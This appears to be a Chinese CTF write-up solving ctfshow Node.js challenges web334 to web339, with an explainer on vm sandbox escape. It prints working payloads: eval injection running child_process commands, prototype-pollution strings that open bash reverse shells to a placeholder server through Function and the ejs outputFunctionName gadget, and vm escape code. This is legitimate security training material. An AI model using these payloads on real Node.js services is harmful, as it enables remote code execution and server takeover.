ctfshow—Node.js漏洞总结

1 Js大小写绕过

ctfshow web334

下载源码

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

需要以账户ctfshow,密码123456登录

toUpperCase()是javascript中将小写转换成大写的函数。
toLowerCase()是javascript中将大写转换成小写的函数
除此之外
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

直接小写绕过即可ctfshow/123456

2 命令执行

ctfshow web335

F12提示eval,猜测是命令执行

eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。和PHP中eval函数一样,如果传递到函数中的参数可控并且没有经过严格的过滤时,就会导致漏洞的出现。

Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。

/?eval=require('child_process').execSync('ls').toString()
/?eval=require('child_process').execSync('cat fl00g.txt').toString()
require('child_process').spawnSync('ls',['./']).stdout.toString()
require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()
global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()

ctfshow web336

继续使用exec,发现不行

__filename 表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径,且和命令行参数所指定的文件名不一定相同。 如果在模块中,返回的值是模块文件的路径。
__dirname 表示当前执行脚本所在的目录。

所以

/?eval=__filename
/?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')         //过滤exec|load
/?eval=require('child_process')['exe'+'cSync']('ls').toString()           //+号绕过

其他方法:

1.上一题的第二种

2.利用fs模块读取当前目录的文件名,然后再利用fs模块读取这个文件:

?eval=require('fs').readdirSync('.')
?eval=require('fs').readFileSync('fl001g.txt','utf-8')

3 数组绕过

ctfshow web337

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

这里需要a和b长度相同,内容不同但md5值相同

利用数组绕过,js中两个数组是不能直接用===判断相等的

?a[x]=1&b[x]=2
执行如下代码:下面的结果都会是[object Object]flag{xxx},其md5也就一样
a={'a':'1'}
b={'a':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

4 原型链污染

什么是原型链

深入理解原型链污染攻击

ctfshow web338

下载源码,在login.js中

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }

重点在copy函数

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

类比于merge

{"__proto__":{"ctfshow":"36dboy"}}

因为原型污染,secret对象直接继承了Object.prototype,所以就导致了secert.ctfshow==='36dboy'

ctfshow web339

app.js

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }

api.js

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

代码审计,发现满足secert.ctfshow===flag就可以得到flag,但flag变量值未知。再看api.js文件:

 res.render('api', { query: Function(query)(query)});

Function里的query变量没有被引用,如果我们能够通过原型污染攻击给它赋任意我们想要的值,就可以进行rce了。

payload

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/服务器IP/监听端口 0>&1\"')"}}

我们先在/login页面POST一下进行变量覆盖,再在/api界面直接POST访问即可

ctfshow—Node.js漏洞总结_第1张图片

成功反弹shell

ctfshow—Node.js漏洞总结_第2张图片

非预期解:

这题用了ejs模板引擎,这个模板引擎有个漏洞可以rce

payload:

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2"}}
接着post访问api.js就可以反弹shell了

Code-Breaking 2018 Thejs 分析

5 NodeJs 沙盒逃逸

vm模块能够在V8虚拟机上下文中编译和运行代码,隔离当前的执行环境,避免被恶意代码攻击。vm模块不是一个安全机制。请不要使用它来运行不受信任的代码。

一个常见的用例是在一个不同的V8上下文中运行代码。这意味着被调用的代码有一个与调用代码不同的全局对象。

人们可以通过对一个对象进行语境化来提供语境。被调用的代码将上下文中的任何属性视为全局变量。任何由被调用代码引起的对全局变量的改变都会反映在上下文对象中。

官网上一个例子:

const vm = require('vm');

const x = 1;

const context = { x: 2 };
vm.createContext(context); // Contextify the object.

const code = 'x += 40; var y = 17;';
// `x` and `y` are global variables in the context.
// Initially, x has the value 2 because that is the value of context.x.
vm.runInContext(code, context);

console.log(context.x); // 42
console.log(context.y); // 17

console.log(x); // 1; y is not defined.

沙盒执行上下文是隔离的,但可通过原型链的方式获取到沙盒外的 Function,从而完成逃逸,拿到全局数据。

示例:

const vm = require("vm");

const ctx = {};

vm.runInNewContext('this.constructor.constructor("return process")().exit()',ctx);
console.log("Never gets executed.");

创建vm环境时,首先要初始化一个对象 ctx,这个对象就是vm中脚本执行时的全局环境context,vm 脚本中全局 this 指向的就是这个对象。

在javascript中,this关键字指的是它所属的对象,所以如果我们使用this关键字,它就已经指向了VM Context之外的一个对象。所以在这个对象上访问.constructor就会得到Object Constructor,在Object constructor上访问.constructor就会得到Function constructor。

函数构造器就像javascript给出的最高函数,它可以访问全局范围,因此它可以返回任何全局的东西。 函数构造器允许你从一个字符串中生成一个函数,从而执行任意代码。

上述代码在执行时,this 指向 ctx 并通过原型链的方式拿到沙盒外的 Funtion,vm 虚拟机环境中的代码逃逸,获得了主线程的 process 变量,并调用 process.exit(),造成主程序非正常退出。

它等同于

const sandbox = this; // 获取Context
const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数
const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
const myfun = FunctionConstructor('return process'); // 构造一个函数,返回process全局变量
const process = myfun();
process.exit();

以上是通过原型链方式完成逃逸,如果将上下文对象的原型链设置为 null 会怎么做

const vm = require("vm");
const ctx = Object.create(null);

ctx.data = {};

vm.runInNewContext('this.data.constructor.constructor("return process")().exit()',ctx);
console.log("Never gets executed.");

由于 JS 里所有对象的原型链都会指向 Object.prototype,且 Object.prototype 和 Function 之间是相互指向的,所有对象通过原型链都能拿到 Function,最终完成沙盒逃逸并执行代码。

逃逸后代码可以执行如下代码拿到 require,从而并加载其他模块功能

const vm = require("vm");

const ctx = {
    console,
};

vm.runInNewContext(
    `
    var exec = this.constructor.constructor;
    var require = exec('return process.mainModule.constructor._load')();
    console.log(require('child_process').execSync("ls").toString());
`,
    ctx
);

解决方案

  • 事前处理,如:代码安全扫描、语法限制
  • 使用 vm2 模块,它的本质就是通过代理的方式来进行安全校验,虽然也可能还存在未出现的逃逸方式,所以在使用时也谨慎对待。
  • 自己实现解释器,并在解释器层接管所有对象创建及属性访问。

CVE-2019-10758:mongo-expressRCE复现

参考文档:

http://nodejs.cn/api/vm.html

https://xz.aliyun.com/t/7184#toc-10

https://www.scuctf.com/ctfwiki/web/1.nodejs/nodejs%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8/readme/

https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html

你可能感兴趣的:(刷题记录,Web安全,node.js,php,后端)